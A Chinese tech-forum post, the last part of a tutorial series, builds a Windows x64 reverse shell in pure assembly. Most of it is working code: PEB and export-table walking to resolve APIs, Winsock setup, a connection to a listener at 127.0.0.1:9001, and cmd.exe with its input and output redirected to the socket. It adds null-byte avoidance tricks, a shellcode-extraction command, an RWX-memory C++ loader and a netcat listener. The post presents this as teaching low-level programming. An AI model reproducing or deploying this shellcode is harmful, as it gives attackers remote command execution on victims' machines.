找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1200

积分

1

好友

161

主题
发表于 5 天前 | 查看: 15| 回复: 0

今天,我们将专注于使用纯x64汇编编写一个功能完整的反向Shell。这不仅是本系列教程的最终篇,更是一个综合性实战案例,旨在检验你对汇编语言和Windows API调用的掌握程度。

一个完整的反向Shell需要调用多个网络与进程API,并深刻理解x64汇编的调用约定与数据结构。虽然代码较长,但我们已将其拆解为清晰的步骤,方便你逐步跟进。

PE结构遍历与GetProcAddress查找

我们首先需要从内存中找到关键的API函数地址。这个过程基于对PE(可移植可执行)文件结构的解析,是许多网络安全与底层工具的基础。

BITS 64
SECTION .text
global main
main:
    sub rsp, 0x28
    and rsp, 0xFFFFFFFFFFFFFFF0
    xor rcx, rcx
    mov rax, [gs:rcx + 0x60]
    mov rax, [rax + 0x18]
    mov rsi,[rax+0x10]
    mov rsi, [rsi]
    mov rsi,[rsi]
    mov rbx, [rsi+0x30]
    mov r8, rbx
    mov ebx, [rbx+0x3C]
    add rbx, r8
    xor rcx, rcx
    add cx, 0x88ff
    shr rcx, 0x8
    mov edx, [rbx+rcx]
    add rdx, r8
    mov r10d, [rdx+0x14]
    xor r11, r11
    mov r11d, [rdx+0x20]
    add r11, r8
    mov rcx, r10
    mov rax, 0x9090737365726464
    shl rax, 0x10
    shr rax, 0x10
    push rax
    mov rax, 0x41636F7250746547
    push rax
    mov rax, rsp

这段代码的目的是遍历kernel32.dll的导出表,以查找GetProcAddress函数的地址。我们通过将字符串GetProcAddress分两部分压栈,来避免Shellcode中出现空字节。

导出表遍历与函数名匹配

接下来,我们进入循环,在导出表的函数名列表中精确匹配目标字符串。

findfunction:
    jecxz FunctionNameNotFound
    xor ebx,ebx
    mov ebx, [r11+rcx*4]
    add rbx, r8
    dec rcx
    mov r9, qword [rax]
    cmp [rbx], r9
    jnz findfunction
    mov r9d, dword [rax + 8]
    cmp [rbx + 8], r9d
    jz FunctionNameFound
    jnz findfunction
FunctionNameNotFound:
    int3
FunctionNameFound:
    push rcx
    pop r15
    inc r15
    xor r11, r11
    mov r11d, [rdx+0x1c]
    add r11, r8
    mov eax, [r11+r15*4]
    add rax, r8
    push rax

我们通过比较字符串GetProcA(8字节)和ddre(4字节)来定位GetProcAddress。这种方法高效且能避免空字节,但需注意对某些具有A/W版本后缀的API可能不通用。

动态获取核心API地址

获取到GetProcAddress后,我们便可以利用它来加载其他必需的库和函数。

  1. 获取LoadLibraryA地址:用于动态加载DLL。

    pop r15
    mov r12, r15
    mov rdi, r8
    mov rcx, r8
    mov rax, 0x41797261
    push rax
    mov rax, 0x7262694C64616F4C
    push rax
    mov rdx, rsp
    sub rsp, 0x30
    call r15
    add rsp, 0x30
    mov r15, rax
  2. 获取ExitProcess地址:用于程序退出。

  3. 获取CreateProcessA地址:用于创建新进程(即我们的Shell)。

  4. 加载Ws2_32.dll并获取网络API:包括WSAStartupWSASocketAWSAConnect。这些是建立TCP/IP网络连接的核心。

这部分代码遵循相同的模式:准备API名称字符串,调用GetProcAddressLoadLibraryA,并将返回的函数地址存入特定寄存器备用。

初始化Winsock并创建套接字

所有API地址就绪后,我们开始进行网络操作。

; Call WSAStartup
    xor rcx, rcx
    mov cx, 0x198
    sub rsp, rcx
    lea rdx, [rsp]
    mov cx, 0x202
    sub rsp, 0x28
    call r15
    add rsp, 0x30

WSAStartup初始化Winsock库,这是所有Windows套接字编程的前提。

; Create a socket
    xor rcx, rcx
    mov cl, 2
    xor rdx, rdx
    mov dl, 1
    xor r8, r8
    mov r8b, 6
    xor r9, r9
    mov [rsp+0x20], r9
    mov [rsp+0x28], r9
    call rsi
    mov r12, rax
    add rsp, 0x30

WSASocketA创建了一个流式TCP套接字。这里需要注意x64调用约定:前4个参数通过寄存器RCXRDXR8R9传递,第5、6个参数则需通过栈传递([rsp+0x20][rsp+0x28])。

建立反向连接与创建Shell进程

这是Shellcode最关键的两步:连接到控制端,并启动一个命令进程将其输入输出重定向到该网络连接。

; Initiate Socket Connection
    mov r13, rax
    mov rcx, r13
    xor rax,rax
    inc rax
    inc rax
    mov [rsp], rax
    mov ax, 0x2923
    mov [rsp+2], ax
    mov rax, 0xFFFFFFFFFEFFFF80
    not rax
    mov [rsp+4], rax
    lea rdx,[rsp]
    mov r8b, 0x16
    xor r9,r9
    push r9
    push r9
    push r9
    add rsp, 8
    sub rsp, 0x60
    sub rsp, 0x60
    call rdi

WSAConnect使用之前创建的套接字连接到攻击者指定的IP(示例为127.0.0.1)和端口(9001)。IP地址经过NOT编码以避免Shellcode中出现空字节。

;prepare for CreateProcessA
    ... (准备STARTUPINFOA结构,将标准输入、输出、错误句柄均设置为我们的套接字) ...
    ; Call CreateProcessA
    ... (设置CreateProcessA所有参数) ...
    call r14
    ; Clean exit
    xor rcx, rcx
    call rbx

最后,我们调用CreateProcessA启动cmd.exe,并通过STARTUPINFOA结构将其标准输入、输出和错误流全部重定向到已连接的套接字。这样,一个反向Shell便成功建立。最后调用ExitProcess确保宿主进程干净退出。

编译与测试

使用NASM汇编器编译代码并提取Shellcode字节:

nasm -fwin64 reverse_shell.asm
objdump -D reverse_shell.obj | grep "^ " | cut -f2 | xargs echo -n | sed 's/ /\\x/g'

将提取出的字节数组嵌入以下C++加载器中执行测试:

#include <windows.h>
int main() {
    unsigned char shellcode[] = "\x48\x83\xec\x28..."; // 你的Shellcode字节
    void* exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(exec_mem, shellcode, sizeof(shellcode));
    auto func = reinterpret_cast<void(*)()>(exec_mem);
    func();
    VirtualFree(exec_mem, 0, MEM_RELEASE);
    return 0;
}

在运行上述程序前,请确保在目标IP的9001端口启动了监听器(例如:nc -lvnp 9001)。

本教程通过这个完整的反向Shell案例,串联了x64汇编编程、PE结构解析、动态API调用、Winsock网络编程及进程创建等多个核心知识点。希望这个实战练习能帮助你深化对Windows平台底层编程与网络安全技术的理解。




上一篇:Kickstart与PXE实战:10分钟实现Rocky Linux 9批量自动化部署
下一篇:Avalonia UI与Qt框架深度对比:跨平台架构差异、渲染引擎与商业策略解析
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-18 00:02 , Processed in 0.999613 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表